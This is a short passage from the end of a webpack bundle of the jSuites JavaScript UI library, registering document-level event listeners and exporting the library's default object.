dblClick); document.addEventListener('keydown', keyDown); document.addEventListener('contextmenu', contextMenu); document.addEventListener('input', input); } if (typeof(document) !== "undefined" && ! document.jsuitesComponents) { Events(); } /* harmony default export */ var jsuites = (jSuites); }(); __webpack_exports__ = __webpack_exports__["default"]; /******/ return __webpack_exports__; /******/ })() ; });